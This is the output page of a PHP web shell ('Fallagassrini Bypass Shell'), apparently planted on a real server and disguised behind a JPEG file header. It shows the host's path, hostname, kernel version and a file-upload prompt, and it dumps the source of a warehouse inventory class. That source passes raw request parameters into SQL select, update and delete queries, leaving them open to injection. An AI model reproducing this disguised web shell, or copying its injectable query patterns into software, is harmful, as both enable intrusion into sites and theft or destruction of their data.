JFIF;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85 C  !"$"$C$^" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ? C^",k8`98?þ. s$ֱ$Xw_Z¿2b978%Q}s\ŴqXxzK1\@N2<JY{lF/Z=N[xrB}FJۨ<yǽw 5o۹^s(!fF*zn5`Z}Ҋ">Ir{_+<$$C_UC)^r25d:(c⣕U .fpSnFe\Ӱ.չ8# m=8iO^)R=^*_:M3x8k>(yDNYҵ/v-]WZ}h[*'ym&e`Xg>%̲yk߆՞Kwwrd󞼎 r;M<[AC¤ozʪ+h%BJcd`*ǎVz%6}G;mcՊ~b_aaiiE4jPLU<Ɗvg?q~!vc DpA/m|=-nux^Hޔ|mt&^ 唉KH?񯣾 ^]G\4#r qRRGV!i~眦]Ay6O#gm&;UV BH ~Y8( J4{U| 14%v0?6#{t񦊊#+{E8v??c9R]^Q,h#i[Y'Š+xY佑VR{ec1%|]p=Vԡʺ9rOZY L(^*;O'ƑYxQdݵq~5_uk{yH$HZ(3 )~G Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home/easwari/www/admin/includes/classes/

Linux 141.162.178.68.host.secureserver.net 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Upload File :
Current File : /home/easwari/www/admin/includes/classes/class.Inward.php

<?php
#####Class For Adding Content Management ######
class Inward extends MysqlFns{
 
 /* class constructor */
function Inward(){
 $this->LDDisplayPath= $config['SiteGlobalPath']."class.Inward.php";
  global $config,$objSmarty;
  $tbl = $config['DBPrefix'];
  $this->MysqlFns();
  $this->Limit = 50;
   $this->Keyword = '';
  $this->Operator = '';
  $this->PerPage = '';
/****************************For Vendor Name*************************************/
  $f1 = "vendor_name.txt";
			$uploadpath = $config['QuotePath'];
			//chmod($uploadpath.$f1,"777");
			$myfile = fopen($f1, "w") or die("Unable to open file!");
			$SelQuery1	= 'SELECT DISTINCT supplier_name FROM `arka_supplier_reg_master` WHERE record_status="1"';
			$CusList	= $this->ExecuteQuery($SelQuery1, 'select');
			//print_r($CusList);exit;
			if(!empty($CusList) && is_array($CusList))
			foreach($CusList as $key=>$value)
			{
			$CusList[$key]['CName'] = stripslashes($CusList[$key]['supplier_name']);
			$names = $names.$CusList[$key]['CName'].",";
			}
			fwrite($myfile, $names);
			fclose($myfile);
}
 /************************************Vendor Details/********************************************/

function AjaxGetVendorDetails()
 {
global $objSmarty;

		 $SelQuery = 'SELECT * FROM `arka_supplier_reg_master` WHERE supplier_name ="'.$_GET['supplier_name'].'" ' ;
		 $LDList		= $this->ExecuteQuery($SelQuery, "select");
		
		foreach($LDList as $keys=>$value)
		{
       echo   $LDList[$keys]["supplier_code"];
		}

}

//*************************************************************************************************************************************************
 function viewLevels($objArray)
	{
	global $objSmarty,$_POST,$config;
	$SelQuery = 'SELECT * FROM `arka_level_master` WHERE status="1" ' ;
	$LevelList		= $this->ExecuteQuery($SelQuery, "select");
    $objSmarty->assign('LevelList', $LevelList);
		
	}
  /************************************************************************ Edit the Inward Details*******************************************/
 function EditInward($objArray='') {
   global $objSmarty, $_POST,$config;
   $tbl = $config['DBPrefix'];
   if(!$objArray['inward_entry_id']){
    $objSmarty->assign('ErrorMessage', 'Inward Entry ID should not be blank');
	return false;
   }elseif(!$objArray['date_of_entry']){
    $objSmarty->assign('ErrorMessage', 'Date of Entry should not be blank');
	return false;
   }elseif(!$objArray['dc_no']){
    $objSmarty->assign('ErrorMessage', 'Po Number should not be blank');
	return false;
   }elseif(!$objArray['po_date']){
    $objSmarty->assign('ErrorMessage', 'Po Date should not be blank');
	return false;
   }/*elseif(!$objArray['supplier_name']){
    $objSmarty->assign('ErrorMessage', 'Supplier Name should not be blank');
	return false;
   }elseif(!$objArray['supplier_code']){
    $objSmarty->assign('ErrorMessage', 'Supplier Code should not be blank');
	return false;
   }*/elseif(!$objArray['material_name']){
    $objSmarty->assign('ErrorMessage', 'Material Name should not be blank');
	return false;
   }elseif(!$objArray['material_code']){
    $objSmarty->assign('ErrorMessage', 'Material Code should not be blank');
	return false;
   }/*elseif(!$objArray['material_type']){
    $objSmarty->assign('ErrorMessage', 'Material Type should not be blank');
	return false;
   }elseif(!$objArray['material_category']){
    $objSmarty->assign('ErrorMessage', 'Material Category should not be blank');
	return false;
   }elseif(!$objArray['material_specification']){
    $objSmarty->assign('ErrorMessage', 'Material Specification should not be blank');
	return false;
   }*/elseif(!$objArray['quantity']){
    $objSmarty->assign('ErrorMessage', 'Quantity should not be blank');
	return false;
   }
   if($objArray['inward_entry_id']){
   /*$ct = $objArray['levels']."/".$objArray['columns']."/".$objArray['rows'];
 $ct2 = $objArray['levels2']."/".$objArray['columns2']."/".$objArray['rows2'];
 $ct3 = $objArray['levels3']."/".$objArray['columns3']."/".$objArray['rows3'];
 $ct4 = $objArray['levels4']."/".$objArray['columns4']."/".$objArray['rows4'];
 $ct5 = $objArray['levels5']."/".$objArray['columns5']."/".$objArray['rows5'];*/
 if($objArray['levels'] == 'HM1' || $objArray['levels'] == 'HM2'){
 $ct = $objArray['levels']."/".$objArray['rows11'];
 }
 else
 {
   $ct = $objArray['levels']."/".$objArray['columns']."/".$objArray['rows'];
 }
 if($objArray['levels2'] == 'HM1' || $objArray['levels2'] == 'HM2'){
 $ct2 = $objArray['levels2']."/".$objArray['rows21'];
 }
 else
 {
   $ct2 = $objArray['levels2']."/".$objArray['columns2']."/".$objArray['rows2'];
 }
 if($objArray['levels3'] == 'HM1' || $objArray['levels3'] == 'HM2'){
 $ct3 = $objArray['levels3']."/".$objArray['rows31'];
 }
 else
 {
   $ct3 = $objArray['levels3']."/".$objArray['columns3']."/".$objArray['rows3'];
 }
 if($objArray['levels4'] == 'HM1' || $objArray['levels4'] == 'HM2'){
 $ct4 = $objArray['levels4']."/".$objArray['rows41'];
 }
 else
 {
   $ct4 = $objArray['levels4']."/".$objArray['columns4']."/".$objArray['rows4'];
 }
  if($objArray['levels5'] == 'HM1' || $objArray['levels5'] == 'HM2'){
 $ct5 = $objArray['levels5']."/".$objArray['rows51'];
 }
 else
 {
   $ct5 = $objArray['levels5']."/".$objArray['columns5']."/".$objArray['rows5'];
 }	
 $select_query='SELECT * FROM `arka_inward_details` WHERE po_no ="'.trim(addslashes($objArray['dc_no'])).'" AND `g2_status`="0" AND `g2checking_person` ="" AND `record_status`=1';
 $execute_query		= $this->ExecuteQuery($select_query, "select");
 $objSmarty->assign('execute_query', $execute_query);
 
	if(empty($execute_query))
	{
 
 	$UpQuery1 = 'UPDATE `arka_inward_master` SET `inward_entry_id` ="'.trim($objArray['inward_entry_id']).'",`po_no` = "'.trim($objArray['dc_no']).'", `po_date` = "'.trim($objArray['po_date']).'", `g1_date` = "'.trim($objArray['date_of_entry']).'",`invoice_no` = "'.trim($objArray['invoice_no']).'",`supplier_name` = "'.trim($objArray['supplier_name']).'",`supplier_code` = "'.trim($objArray['supplier_code']).'", `invoice_date` = "'.trim($objArray['invoice_date']).'", `frieght_charges` = "'.trim($objArray['frieght_charges']).'" ,`g2_status`="1" ,`g2checking_person` = "'.trim(addslashes($objArray['g2checking_person'])).'",`record_status` ="1" WHERE `inward_entry_id` = "'.trim($objArray['inward_entry_id']).'"';
	$this->ExecuteQuery($UpQuery1, 'update');
	 }
	 else
	{
	$UpQuery1 = 'UPDATE `arka_inward_master` SET `inward_entry_id` ="'.trim($objArray['inward_entry_id']).'",`po_no` = "'.trim($objArray['dc_no']).'", `po_date` = "'.trim($objArray['po_date']).'", `g1_date` = "'.trim($objArray['date_of_entry']).'",`invoice_no` = "'.trim($objArray['invoice_no']).'",`supplier_name` = "'.trim($objArray['supplier_name']).'",`supplier_code` = "'.trim($objArray['supplier_code']).'", `invoice_date` = "'.trim($objArray['invoice_date']).'", `frieght_charges` = "'.trim($objArray['frieght_charges']).'" ,`record_status` ="1" WHERE `inward_entry_id` = "'.trim($objArray['inward_entry_id']).'"';
	$this->ExecuteQuery($UpQuery1, 'update');	
	}
	/*$ct = $objArray['levels']."/".$objArray['columns']."/".$objArray['rows'];
 $ct2 = $objArray['levels2']."/".$objArray['columns2']."/".$objArray['rows2'];
 $ct3 = $objArray['levels3']."/".$objArray['columns3']."/".$objArray['rows3'];
 $ct4 = $objArray['levels4']."/".$objArray['columns4']."/".$objArray['rows4'];
 $ct5 = $objArray['levels5']."/".$objArray['columns5']."/".$objArray['rows5'];*/
 if($objArray['levels'] == 'HM1' || $objArray['levels'] == 'HM2'){
 $ct = $objArray['levels']."/".$objArray['rows11'];
 }
 else
 {
   $ct = $objArray['levels']."/".$objArray['columns']."/".$objArray['rows'];
 }
 if($objArray['levels2'] == 'HM1' || $objArray['levels2'] == 'HM2'){
 $ct2 = $objArray['levels2']."/".$objArray['rows21'];
 }
 else
 {
   $ct2 = $objArray['levels2']."/".$objArray['columns2']."/".$objArray['rows2'];
 }
 if($objArray['levels3'] == 'HM1' || $objArray['levels3'] == 'HM2'){
 $ct3 = $objArray['levels3']."/".$objArray['rows31'];
 }
 else
 {
   $ct3 = $objArray['levels3']."/".$objArray['columns3']."/".$objArray['rows3'];
 }
 if($objArray['levels4'] == 'HM1' || $objArray['levels4'] == 'HM2'){
 $ct4 = $objArray['levels4']."/".$objArray['rows41'];
 }
 else
 {
   $ct4 = $objArray['levels4']."/".$objArray['columns4']."/".$objArray['rows4'];
 }
  if($objArray['levels5'] == 'HM1' || $objArray['levels5'] == 'HM2'){
 $ct5 = $objArray['levels5']."/".$objArray['rows51'];
 }
 else
 {
   $ct5 = $objArray['levels5']."/".$objArray['columns5']."/".$objArray['rows5'];
 }	
 $total_to_inward_details=$objArray['price']*$objArray['quantity'];
 $rec=$objArray['quantity'];//echo $rec;
$pass=$objArray['qc_passed'];//echo $pass;
$fail= $rec - $pass;//echo $fail;

 $InsQuery2 = 'INSERT INTO `arka_inward_details`(`material_type`, `material_category`, `inward_entry_id`, `material_name`, `material_specification`, `price`,`created_by`, `material_code`,`invoice_quantity`,`po_no`,`received_quantity`,`warranty_period`,`record_status`,`total`,`supplier_name`,`supplier_code`,`g2checking_person`,`dateof_qcpassed`,`qualitycheck_passed_qty`,`qcfailed_quantity` ,`labeling`,`prepacking`,`g2_status`) VALUES("'.trim(addslashes($objArray['material_type'])).'","'.trim(addslashes($objArray['material_category'])).'","'.trim(addslashes($objArray['inward_entry_id'])).'","'.trim(addslashes($objArray['material_name'])).'","'.trim(addslashes($objArray['material_specification'])).'","'.trim(addslashes($objArray['price'])).'","'.trim(addslashes($objArray['created_by'])).'","'.trim(addslashes($objArray['material_code'])).'","'.trim(addslashes($objArray['quantity'])).'","'.trim($objArray['dc_no']).'","'.trim(addslashes($objArray['received'])).'","'.trim(addslashes($objArray['warranty_period'])).'",1,"'.trim(addslashes($total_to_inward_details)).'","'.trim(addslashes($objArray['supplier_name'])).'","'.trim(addslashes($objArray['supplier_code'])).'","'.trim(addslashes($objArray['g2checking_person'])).'", "'.trim(addslashes($objArray['dateof_qcpassed'])).'","'.trim(addslashes($objArray['qc_passed'])).'","'.$fail.'","'.trim(addslashes($objArray['labeling'])).'","'.trim(addslashes($objArray['prepacking'])).'","1")';
  	$this->ExecuteQuery($InsQuery2, 'insert');	
	
	 /*$SelQuery_on_stock	= 'SELECT * FROM `arka_stock_master` WHERE `material_name` ="'.trim(addslashes($objArray['material_name'])).'" && `material_code` ="'.trim(addslashes($objArray['material_code'])).'" ';
	  $RList		= $this->ExecuteQuery($SelQuery_on_stock, "select");
	

if(!empty($RList) && is_array($RList))
	  {
$ct = $objArray['levels']."/".$objArray['columns']."/".$objArray['rows'];
	 $update_quantity=$objArray['quantity']+$RList[0]['quantity']; 
	  $update_total=$RList[0]['unit_price']*$update_quantity;
 $update_query='UPDATE `arka_stock_master` SET `quantity` ="'.trim(addslashes($update_quantity)).'",`total`="'.trim(addslashes($update_total)).'" WHERE `material_code` ="'.$RList[0]['material_code'].'" && `unit_price` ="'.$RList[0]['unit_price'].'" && `supplier_code` ="'.$RList[0]['supplier_code'].'" && `supplier_name` ="'.$RList[0]['supplier_name'].'" && `location`="'.$RList[0]['location'].'"';
$this->ExecuteQuery($update_query,"update");
	  }
	else
	*/
	/*$ct = $objArray['levels']."/".$objArray['columns']."/".$objArray['rows'];
 $ct2 = $objArray['levels2']."/".$objArray['columns2']."/".$objArray['rows2'];
 $ct3 = $objArray['levels3']."/".$objArray['columns3']."/".$objArray['rows3'];
 $ct4 = $objArray['levels4']."/".$objArray['columns4']."/".$objArray['rows4'];
 $ct5 = $objArray['levels5']."/".$objArray['columns5']."/".$objArray['rows5'];*/
 if($objArray['levels'] == 'HM1' || $objArray['levels'] == 'HM2'){
 $ct = $objArray['levels']."/".$objArray['rows11'];
 }
 else
 {
   $ct = $objArray['levels']."/".$objArray['columns']."/".$objArray['rows'];
 }
 if($objArray['levels2'] == 'HM1' || $objArray['levels2'] == 'HM2'){
 $ct2 = $objArray['levels2']."/".$objArray['rows21'];
 }
 else
 {
   $ct2 = $objArray['levels2']."/".$objArray['columns2']."/".$objArray['rows2'];
 }
 if($objArray['levels3'] == 'HM1' || $objArray['levels3'] == 'HM2'){
 $ct3 = $objArray['levels3']."/".$objArray['rows31'];
 }
 else
 {
   $ct3 = $objArray['levels3']."/".$objArray['columns3']."/".$objArray['rows3'];
 }
 if($objArray['levels4'] == 'HM1' || $objArray['levels4'] == 'HM2'){
 $ct4 = $objArray['levels4']."/".$objArray['rows41'];
 }
 else
 {
   $ct4 = $objArray['levels4']."/".$objArray['columns4']."/".$objArray['rows4'];
 }
  if($objArray['levels5'] == 'HM1' || $objArray['levels5'] == 'HM2'){
 $ct5 = $objArray['levels5']."/".$objArray['rows51'];
 }
 else
 {
   $ct5 = $objArray['levels5']."/".$objArray['columns5']."/".$objArray['rows5'];
 }	
//  $data= $ct. ' , ' .$ct2.' , '.$ct3.' , '.$ct4.' , '.$ct5;
 	$total=$objArray['price']*$objArray['quantity'];
 
/*$InsQuery_to_stock_master = 'INSERT INTO `arka_stock_master`(`inward_entry_id`,`material_type`, `material_category`, `material_code`, `material_name`, `supplier_name`, `supplier_code`, `quantity`, `unit_price`,`total`,`location`,`location2`,`location3`,`location4`,`location5`,`record_status`) VALUES("'.trim(addslashes($objArray['inward_entry_id'])).'","'.trim(addslashes($objArray['material_type'])).'","'.trim(addslashes($objArray['material_category'])).'","'.trim(addslashes($objArray['material_code'])).'","'.trim(addslashes($objArray['material_name'])).'","'.trim(addslashes($objArray['supplier_name'])).'","'.trim(addslashes($objArray['supplier_code'])).'","'.trim(addslashes($objArray['quantity'])).'","'.trim(addslashes($objArray['price'])).'","'.$total.'","'.$ct.'","'.$ct2.'","'.$ct3.'","'.$ct4.'","'.$ct5.'","1")';
  	 $this->ExecuteQuery($InsQuery_to_stock_master, 'insert');*/

	}

	 header('Location:' .$_SERVER['PHP_SELF'].'?inward_entry_id='.$objArray['inward_entry_id'].'&server_success=update succeed');	

   }
   
   // *********************************************List, Edit And Detail Page*************************************************************************************************
function GetInwardList($objArray='')  {
global $objSmarty,$config;
  $tbl = $config['DBPrefix'];

		$SelQuery = 'SELECT * FROM `arka_inward_master` WHERE record_status="1" ';
		$PageList		= $this->ExecuteQuery($SelQuery, "select");
        $objSmarty->assign('PageList', $PageList);
	}	
	
function GetInwardDetail($objArray='')  {
		global $objSmarty,$config;
   $tbl = $config['DBPrefix'];
		$SelQuery = 'SELECT * FROM `arka_inward_master` WHERE inward_entry_id="'.$_GET['inward_entry_id'].'" ' ;
		$PageList		= $this->ExecuteQuery($SelQuery, "select");
        $objSmarty->assign('PageList', $PageList);
	}	
function GetInwardDetailsView($objArray='') 
  {
		global $objSmarty,$config;
   $tbl = $config['DBPrefix'];
		$objSmarty->assign('c_id',$_GET['inward_entry_id']);
		$SelQuery = 'SELECT * FROM `arka_inward_details` WHERE inward_entry_id ="'.$_GET['inward_entry_id'].'" &&`record_status`=1' ;
		//echo $SelQuery;
		$LDList		= $this->ExecuteQuery($SelQuery, "select");
		$objSmarty->assign("inward_details_list",$LDList);
		return $inward_details_list;
		/*$total_records = count($LDList);
		$record_per_page = $this->Limit;
		
		$objSmarty->assign("TList1",$_GET['cust_id']);
		/*$LDList[0]['title'] 		= stripslashes($LDList[0]['title']);
		$LDList[1]['txttitle'] 		= stripslashes($LDList[1]['txttitle']);
		$LDList[2]['image'] 		= stripslashes($LDList[2]['image']);*/
		 /*if(!empty($LDList) && is_array($LDList))
		{
			$objSmarty->assign("inward_details_list",$LDList);
			$objSmarty->assign("LDDisp", $this->LDDisplayPath);
			return $LDList2;
		}
		else{
			return false;
		}
		$objPage->set_page_data($_SERVER['PHP_SELF'],$total_records,$record_per_page,$scroll,true,true,true);
		$listing_split2 = new MsplitPageResults($SelQuery, $this->Limit);
		
		if ( ($listing_split2->number_of_rows > 0) )  
		{
			$objSmarty->assign('LinkPage',$listing_split2->display_count(TEXT_DISPLAY_NUMBER_OF_RESULT));
			$objSmarty->assign('PerPageNavigation',TEXT_RESULT_PAGE1 . ' ' . $listing_split2->display_links($this->Limit, get_all_get_params(array('page', 'info', 'x', 'y')))); 
			$PageList = $this->ExecuteQuery($listing_split2->SelQuery, 'selectassoc');
		}
		if(!empty($PageList) && is_array($PageList))
			foreach($PageList as $key=>$value)
			{
				$PageList[$key]['Cid'] = stripslashes($PageList[$key]['customer_id']);
				$PageList[$key]['Cname'] = stripslashes($PageList[$key]['customer_name']);
				$objSmarty->assign('Cid',$PageList[$key]['customer_id']);
				$objSmarty->assign('Cname',$PageList[$key]['customer_name']);
			}		
			$objSmarty->assign('k', $listing_split2->k);
			$objSmarty->assign('PageList', $PageList);
			echo $PageList;
			return $PageList;*/
	}	
 
  /*********************************************************delete**************************************/

  function DeleteID($deleid,$sno,$loid,$MnId,$McId){
  global $objSmarty,$config;
   $tbl = $config['DBPrefix'];
   
   $DelQuery = 'DELETE FROM `arka_inward_details` WHERE `inward_entry_id`="'.$_GET['inward_entry_id'].'" AND sl_no="'.$_GET['sl_no'].'" AND location="'.$_GET['loc'].'" AND `material_name`="'.$_GET['mname'].'" AND material_code="'.$_GET['mcode'].'" ';
 $this->ExecuteQuery($DelQuery, 'delete');
 
 $DelQuery2 = 'DELETE FROM `arka_stock_master` WHERE `inward_entry_id`="'.$_GET['inward_entry_id'].'" AND material_code="'.$_GET['mcode'].'" ';
 $this->ExecuteQuery($DelQuery2, 'delete');
 
  $upQuery2 ='UPDATE `arka_inward_master` SET `g2_status` ="0" , `rack_status` = "0",`g2checking_person` ="" WHERE `inward_entry_id`="'.$_GET['inward_entry_id'].'" ';
   $this->ExecuteQuery($upQuery2, 'update');
   
   header('Location:' .$_SERVER['PHP_SELF'].'?inward_entry_id='.$_GET['inward_entry_id'].'&server_success1=delete succeed');
 }
 /*******************************************************************************************/
 function DeleteID2($deleid){
  global $objSmarty,$config;
   $tbl = $config['DBPrefix'];
   
  $DelQuery = 'DELETE FROM `arka_inward_master` WHERE `inward_entry_id`="'.$_GET['inward_entry_id'].'" ';
  $this->ExecuteQuery($DelQuery, 'delete');
 
  $DelQuery = 'DELETE FROM `arka_inward_details` WHERE `inward_entry_id`="'.$_GET['inward_entry_id'].'" ';
  $this->ExecuteQuery($DelQuery, 'delete');
 
 $SelQuery = 'SELECT * FROM `arka_inward_details` WHERE inward_entry_id="'.$_GET['inward_entry_id'].'" ' ;
 $PageList		= $this->ExecuteQuery($SelQuery, "select");
		
 $DelQuery = 'DELETE FROM `arka_stock_master` WHERE `material_name`="'.$PageList[0]['material_name'].'" AND `material_code`="'.$PageList[0]['material_code'].'" AND `location`="'. $PageList[0]['location'].'"';
 $this->ExecuteQuery($DelQuery, 'delete');		
 header('Location:' .$_SERVER['PHP_SELF'].'?server_success1=delete succeed');
 }
/*************************************************************************************************/
function GetCheckingPersonLists($objArray='')  
	{
		global $objSmarty;
		
			$SelQuery = 'SELECT * FROM `arka_employee_master` WHERE status=1' ;
		$checkpersonList		= $this->ExecuteQuery($SelQuery, "select");   
        $objSmarty->assign('checkpersonList', $checkpersonList);
	} 
 
 }
?>



bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net